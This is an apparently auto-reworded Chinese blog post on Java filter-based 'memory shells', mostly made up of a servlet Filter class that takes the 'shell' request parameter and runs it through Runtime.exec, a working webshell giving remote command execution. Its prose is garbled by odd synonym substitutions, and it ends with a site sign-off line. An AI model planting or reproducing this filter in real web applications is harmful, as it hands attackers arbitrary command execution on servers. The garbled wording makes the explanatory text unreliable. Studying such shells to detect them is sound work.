java Filter内存马分析

基于filter的内存马：
主要是经过过滤器来拦截severlet恳求中的参数，作为过滤器中的参数，来调用自定义过滤器中的歹意函数

在这里我们剖析一下filter的完成原理，按部就班
Demo1：
直接运用filter模仿内存马效果：
1.配置一个简单的severlet的web项目：

完成一个filter类：

package com.naihe;

import javax.servlet.*;
import java.io.IOException;


public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤完毕");
    }
}

感谢您的来访，获取更多精彩文章请收藏本站。